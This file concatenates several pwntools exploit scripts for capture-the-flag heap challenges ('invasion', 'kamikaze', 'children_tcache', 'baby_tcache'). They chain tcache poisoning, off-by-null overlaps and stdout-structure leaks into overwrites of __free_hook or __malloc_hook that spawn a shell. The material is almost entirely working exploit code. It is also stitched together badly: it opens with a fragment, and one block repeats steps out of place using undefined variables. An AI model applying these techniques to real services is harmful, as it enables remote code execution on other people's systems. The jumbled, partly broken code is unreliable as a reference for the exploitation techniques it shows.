def show(idx):
    sla(":",  idx)

def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)
    
    new("0") #0
    new(p64(0x11)*8) #1
    delete(1, 'y')
    delete(0, 'n')
    edit(0, p8(0x50))
    new("123") #1
    new(p64(0)) #2
    delete(1, 'n')
    edit(2, p64(0) + p64(0x91))
    for i in range(7):
        delete(1, 'n')
    edit(2, p64(0) + p64(0x51))
    delete(0, 'y')
    edit(2, p64(0) + p64(0x91))
    delete(1, 'y')
    # Bruteforce 4 bits to make fd point to _IO_2_1_stdout_
    edit(2,p64(0)+p64(0x51)+p16(0x7760))
    new("123")
    # Modify the flag and the write pointers
    new(p64(0xfbad1800) + p64(0)*3 + p8(0))
    r(8)
    libc_addr=uu64(r(6))
    if hex(libc_addr)[2:4] != '7f':
        raise NotImplemented
    libc.address=libc_addr - 0x3ed8b0
    lg("libc",libc.address)
    ru("Done")
    delete(0,'y')
    edit(2,p64(0)+p64(0x51)+p64(libc.symbols['__free_hook']))
    new("123")
    ga()
    edit(2,p64(0)+p64(0x61)+p64(libc.symbols['__free_hook']))
    delete(0,'y')
    new(p64(libc.symbols['system']))
    edit(2,'/bin/sh\x00')
    sla(":", 3)
    sla(":",str(2))
    '''                       
    try:
        from LibcSearcher import *
    except Exception as e:
        print("LibcSearcher not install")
        exit(0)        
    obj = LibcSearcher("fgets",leak_addr)
    libc_base = leak_addr - obj.dump("fgets")  
    system_addr = libc_base + obj.dump("system")
    malloc_hook = libc_base + obj.dump("__malloc_hook")
    free_hook = libc_base + obj.dump("__free_hook")
    bin_sh_addr = libc_base + obj.dump("str_bin_sh")
    '''
    ia()

if __name__ == '__main__':
    while True:
        try:
            exp(host,)
            break
        except Exception as e:
            print(e)
            io.close()
            io = process(exe)

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
link = ''
host,port = map(str.strip, link.split(':')) if link != '' else ("",0)
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal =  ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './invasion'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
    io = process(exe)
else:
    io = remote(host,port)

s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline().strip()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    try:
        import subprocess
    except Exception as e:
        print("subprocess not install")
        exit(0)
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled

def choice(idx):
    def wrap(f):
        def go(*args, **kargs):
            sla("today.\n", idx)
            f(*args, **kargs)
        return go
    return wrap

@choice(idx=1)
def new(size, name):
    sla("name?\n", size)
    sa("name?\n", name)

@choice(idx=2)
def free(idx):
    sla("mother?\n", idx)

@choice(idx=3)
def edit(idx, data):
    sla("rename?\n", idx)
    sa("to?\n", data)

def start():
    sla("ka?\n", "3")

def get_libc(idx):
    sla("today.\n", '3')
    sla("rename?\n", idx)
    ru("rename ")
    data = uu64(r(6))
    sla("to?\n", '')
    return data

def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)
    
    start()
    for i in range(4):
        new(0x28, str(i)*0x8)
    new(0xf0, "4") 
    free(0)
    new(0xf0, "5")
    new(0xf0, "6") #change pointer
    free(1)
    new(0xf0,"7")

    new(0x48,"8") #avoid consolidate top chunk
    free(6)
    new(0xf8, "9"*0xf0 + p64(0x100+0x20+0x100+0x100))
    free(4)
    free(7)
    new(0xf0, "10") 
    #edit(5,'')
    libc.address = get_libc(5) - 0x3c4b78
    lg("libc", libc.address)
    new(0xf0, '11')
    free(2)
    new(0x18, p64(libc.symbols['__morecore']) + p64(0)) #12
    edit(9, p64(libc.address + 0xf02a4))

    new(0x1f000, "13")
    sl("1")
    sl(0x1f000)
    #ga()


    #free(10)
    '''                         
    try:
        from LibcSearcher import *
    except Exception as e:
        print("LibcSearcher not install")
        exit(0)        
    obj = LibcSearcher("fgets",leak_addr)
    libc_base = leak_addr - obj.dump("fgets")  
    system_addr = libc_base + obj.dump("system")
    malloc_hook = libc_base + obj.dump("__malloc_hook")
    free_hook = libc_base + obj.dump("__free_hook")
    bin_sh_addr = libc_base + obj.dump("str_bin_sh")
    '''
    ia()

if __name__ == '__main__':
    exp(host,)

    new(1, 0x28, "chunk__1", "1"*0x10)
    new(2, 0x28, "chunk__2", "2"*0x10)
    new(3, 0x28, "chunk__3", "3"*0x10)

    delete(2) #old--2--2 chunk
    delete(3) #old--3--2 chunk
    delete(1) #old--1--2 chunk
    
    new(4, 0x48, "chunk__4", "4"*0x10) #take old 1--1 chunk
    new(5, 0x68, "chunk__5" + p64(0x11)*10, "5"*0x10) #take old 1--2 chunk
    kamikaze(5, 3) # set is_mapped
    new(6, 0x28, "chunk__6", "6"*0x10) #take old 3--2 chunk
    new(7, 0x28, "chunk__7", "7"*0x10) #take old 2--2 chunk with old pointer
    # cause loop
    delete(6)

    delete(5)
    ga()
    want = heap + 0xc8
    struct_kami = flat(["A"*0x8, want, 0])
    new(8, 0x28, struct_kami, "8"*0x10)
    edit(0x4141414141414141, p8(0xf1))
    delete(8)
    libc.address = leak(3) - 0x3c4b78
    lg("libc", libc.address)

    struct_kami = flat([ 
        p64(0)*2, 
        p64(heap+0x250), 
        p64(0)])
    fix_chunk = flat([p64(0) + p64(0x32) + p64(0)])
    ga()
    new(9, 0x48, struct_kami + fix_chunk, "9"*0x10)

    delete(9)
    new(10, 0x10, "10", "10"*0x5)
    new(11, 0x58, p64(0)*7 + p64(0x71) + p64(libc.sym['__malloc_hook']-0x23), "10"*0x5)
    new(12, 0x68, "11", "11"*0x5)
    new(13, 0x68 , "A"*0x13 + p64(libc.address + one_gadget[2]), "10"*0x5)
    sl("1")

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
link = ''
host,port = map(str.strip, link.split(':')) if link != '' else ("",0)
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal =  ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './kamikaze'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
    io = process(exe)
else:
    io = remote(host,port)

s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline().strip()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    try:
        import subprocess
    except Exception as e:
        print("subprocess not install")
        exit(0)
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled

def choice(idx):
    def wrap(f):
        def go(*args, **kargs):
            sla(">> ", idx)
            f(*args, **kargs)
        return go
    return wrap

@choice(idx=1)
def new(weight, size, stanza, hook):
    sla(": ", weight)
    sla(": ", size)
    sla(": ", stanza)
    sa(": ", hook)

@choice(idx=2)
def edit(weight, stanza):
    sla(": ", weight)
    sa(": ", stanza)

@choice(idx=3)
def kamikaze(weight, seed):
    sla(": ", weight)
    sla(": ", seed)
    
@choice(idx=4)
def delete(idx):
    sla(": ", idx)

@choice(idx=5)
def play(idx):
    sla(": ", idx)

def leak(idx):
    play(idx)
    ru("Weight: ")
    return int(rl(), 16)
def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)
    
    new(1, 0x28, "chunk__1", "1"*0x10)
    new(2, 0x28, "chunk__2", "2"*0x10)
    new(3, 0x28, "chunk__3", "3"*0x10)

    delete(2) #old--2--2 chunk
    delete(3) #old--3--2 chunk
    delete(1) #old--1--2 chunk
    
    new(4, 0x48, "chunk__4", "4"*0x10) #take old 1--1 chunk
    new(5, 0x68, "chunk__5" + p64(0x11)*10, "5"*0x10) #take old 1--2 chunk
    kamikaze(5, 3) # set is_mapped
    new(6, 0x28, "chunk__6", "6"*0x10) #take old 3--2 chunk
    new(7, 0x28, "chunk__7", "7"*0x10) #take old 2--2 chunk with old pointer
    # cause loop
    delete(6)
    heap = leak(3) - 0xf0
    lg("heap", heap)
    #break the loop
    delete(5)
    want = heap + 0xc8
    struct_kami = flat(["A"*0x8, want, 0])
    new(8, 0x28, struct_kami, "8"*0x10)
    edit(0x4141414141414141, p8(0xf1))
    delete(8)
    libc.address = leak(3) - 0x3c4b78
    lg("libc", libc.address)
    #new(9, 0x8, "chunk__9", "9"*0x10)
    struct_kami = flat([ 
        p64(0)*2, 
        p64(heap+0x250), 
        p64(0)])
    fix_chunk = flat([p64(0) + p64(0x32) + p64(0)])
    new(9, 0x48, struct_kami + fix_chunk, "9"*0x10)
    delete(9)
    new(10, 0x10, "10", "10"*0x5)
    new(11, 0x58, p64(0)*7 + p64(0x71) + p64(libc.sym['__malloc_hook']-0x23), "10"*0x5)
    new(12, 0x68, "11", "11"*0x5)
    new(13, 0x68 , "A"*0x13 + p64(libc.address + one_gadget[2]), "10"*0x5)
    sl("1")
    '''                         
    try:
        from LibcSearcher import *
    except Exception as e:
        print("LibcSearcher not install")
        exit(0)        
    obj = LibcSearcher("fgets",leak_addr)
    libc_base = leak_addr - obj.dump("fgets")  
    system_addr = libc_base + obj.dump("system")
    malloc_hook = libc_base + obj.dump("__malloc_hook")
    free_hook = libc_base + obj.dump("__free_hook")
    bin_sh_addr = libc_base + obj.dump("str_bin_sh")
    '''
    ia()

if __name__ == '__main__':
    exp(host,True)

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
link = ''
host,port = map(str.strip, link.split(':')) if link != '' else ("",0)
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal =  ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './children_tcache'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
    io = process(exe)
else:
    io = remote(host,port)

s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline().strip()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    try:
        import subprocess
    except Exception as e:
        print("subprocess not install")
        exit(0)
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled
# FORTIFY:  Enabled

def choice(idx):
    def wrap(f):
        def go(*args, **kargs):
            sla(": ", idx)
            f(*args, **kargs)
        return go
    return wrap

@choice(idx=1)
def new(size, data):
    sla(":", size)
    sa(":", data)

@choice(idx=2)
def show(idx):
    sla(":", idx)

@choice(idx=3)
def delete(idx):
    sla(":", idx)

def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)
    
    new(0xf8, "a") #0
    new(0x18, "a") #1
    new(0xf8, "a") #2

    for i in range(7):
        new(0xf8, "a")
    for i in range(3, 10):
        delete(i)    
    delete(1)
    delete(0)
    
    for i in range(6):
        new(0x18-i, "a"*(0x18-i)) 
        delete(0)
    new(0x18, (0x18-8)*"a" + p16(0x120)) #0
    delete(2)
    for i in range(7):
        new(0xf0, "a") 
    new(0xf0, "a") #8
    show(0)
    libc.address = uu64(r(6)) - 0x3ebca0
    lg("libc", libc.address)
    new(0x18, "a") #9
    for i in range(1,8):
        delete(i)
    delete(9)
    delete(0)
    
    new(0x18, p64(libc.sym['__malloc_hook']))
    new(0x18, "a")
    new(0x18, p64(libc.address+one_gadget[1]))
    sl("1")
    sl("1")
    #ga()
    '''                         
    try:
        from LibcSearcher import *
    except Exception as e:
        print("LibcSearcher not install")
        exit(0)        
    obj = LibcSearcher("fgets",leak_addr)
    libc_base = leak_addr - obj.dump("fgets")  
    system_addr = libc_base + obj.dump("system")
    malloc_hook = libc_base + obj.dump("__malloc_hook")
    free_hook = libc_base + obj.dump("__free_hook")
    bin_sh_addr = libc_base + obj.dump("str_bin_sh")
    '''
    ia()

if __name__ == '__main__':
    exp(host,True)

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
link = ''
host,port = map(str.strip, link.split(':')) if link != '' else ("",0)
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal =  ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './children_tcache'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
    io = process(exe)
else:
    io = remote(host,port)

s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline().strip()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    try:
        import subprocess
    except Exception as e:
        print("subprocess not install")
        exit(0)
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled
# FORTIFY:  Enabled

def choice(idx):
    def wrap(f):
        def go(*args, **kargs):
            sla(": ", idx)
            f(*args, **kargs)
        return go
    return wrap

@choice(idx=1)
def new(size, data):
    sla(":", size)
    sa(":", data)

@choice(idx=2)
def show(idx):
    sla(":", idx)

@choice(idx=3)
def delete(idx):
    sla(":", idx)


def exp(host, rce=False):
    if rce:
        one_gadget = get_one_gadget(libc.path)
    
    new(0x4f0, "a") #0
    new(0x18, "a") #1
    new(0x4f0, "a") #2
    new(0x18, "a") #3
    
    delete(0)
    delete(1)
    for i in range(6):
        new(0x18-i, "A"*(0x18-i))
        delete(0)
    new(0x18, "A"*(0x18-8) + p16(0x520)) #0
    delete(2)
    new(0x4f0, 'a') #1
    show(0)
    libc.address = uu64(r(6))-0x3ebca0
    lg("libc", libc.address)
    new(0x18, "A") #2

    delete(2)
    delete(0)

    new(0x18, p64(libc.sym['__malloc_hook']))
    new(0x18, "A")
    #ga()
    new(0x18, p64(libc.address + one_gadget[1]))
    sl("1")
    sl("1")
    '''                         
    try:
        from LibcSearcher import *
    except Exception as e:
        print("LibcSearcher not install")
        exit(0)        
    obj = LibcSearcher("fgets",leak_addr)
    libc_base = leak_addr - obj.dump("fgets")  
    system_addr = libc_base + obj.dump("system")
    malloc_hook = libc_base + obj.dump("__malloc_hook")
    free_hook = libc_base + obj.dump("__free_hook")
    bin_sh_addr = libc_base + obj.dump("str_bin_sh")
    '''
    ia()

if __name__ == '__main__':
    exp(host,True)

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
link = ''
host,port = map(str.strip, link.split(':')) if link != '' else ("",0)
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal =  ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './baby_tcache'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
    io = process(exe)
else:
    io = remote(host,port)

s    = lambda data                                    : io.send(str(data))
sa   = lambda delim,data                              : io.sendafter(str(delim), str(data))
sl   = lambda data                                    : io.sendline(str(data))
sla  = lambda delim,data                              : io.sendlineafter(str(delim), str(data))
r    = lambda numb=4096                               : io.recv(numb)
rl   = lambda                                         : io.recvline().strip()
ru   = lambda delim,drop=True                         : io.recvuntil(delim, drop)
rg   = lambda regex                                   : io.recvregex(regex)
rp   = lambda timeout=1                               : io.recvrepeat(timeout)
uu32 = lambda data                                    : u32(data.ljust(4, '\x00'))
uu64 = lambda data                                    : u64(data.ljust(8, '\x00'))
lg   = lambda s,addr                                  : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga   = lambda job=""                                  : gdb.attach(io, job) if local else 0
ia   = lambda                                         : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
        gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
    try:
        import subprocess
    except Exception as e:
        print("subprocess not install")
        exit(0)
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled
# FORTIFY:  Enabled

def choice(idx):
    def wrap(f):
        def go(*args, **kargs):
            sla(": ", idx)
            f(*args, **kargs)
        return go
    return wrap

@choice(idx=1)
def new(size, data):
    sla(":", size)
    sa(":", data)

@choice(idx=2)
def delete(idx):
    sla(":", idx)

one_gadget = get_one_gadget(libc.path)
def exp(host, rce=False):
    if rce:
        pass    
    new(0x4f0, "a") #0
    new(0x20, "a") #1
    new(0x20, "a") #2
    new(0x4f0, "a") #3
    new(0x20, "a") #4
    delete(2)
    new(0x28, "a"*0x20 + p64(0x560)) #2
    delete(0)
    delete(3)
    delete(1)
    new(0x4f0, "a") #0
    new(0x100, p16(0x4760)) #1
    new(0x20, "a") #3
    #ga("breakrva 0xD2C\nc")
    new(0x20, p64(0x800)+"\x00"*9)
    r(8)
    libc.address = uu64(r(6))
    if hex(libc.address)[2:4] != '7f':
        raise Exception 
    libc.address -=   0x3ed8b0
    lg("libc", libc.address)
    delete(3)
    #ga()
    delete(1)
    new(0x100, p64(libc.sym['__free_hook']))
    new(0x100, p64(0))
    new(0x100, p64(libc.address + one_gadget[1]))
    sl("2")
    sl("1")
    '''                         
    try:
        from LibcSearcher import *
    except Exception as e:
        print("LibcSearcher not install")
        exit(0)        
    obj = LibcSearcher("fgets",leak_addr)
    libc_base = leak_addr - obj.dump("fgets")  
    system_addr = libc_base + obj.dump("system")
    malloc_hook = libc_base + obj.dump("__malloc_hook")
    free_hook = libc_base + obj.dump("__free_hook")
    bin_sh_addr = libc_base + obj.dump("str_bin_sh")
    '''
    ia()

if __name__ == '__main__':
    while True:
        try:
            exp(host,True)
            break
        except Exception as e:
            print(e)
            io.close()
            io = process(exe)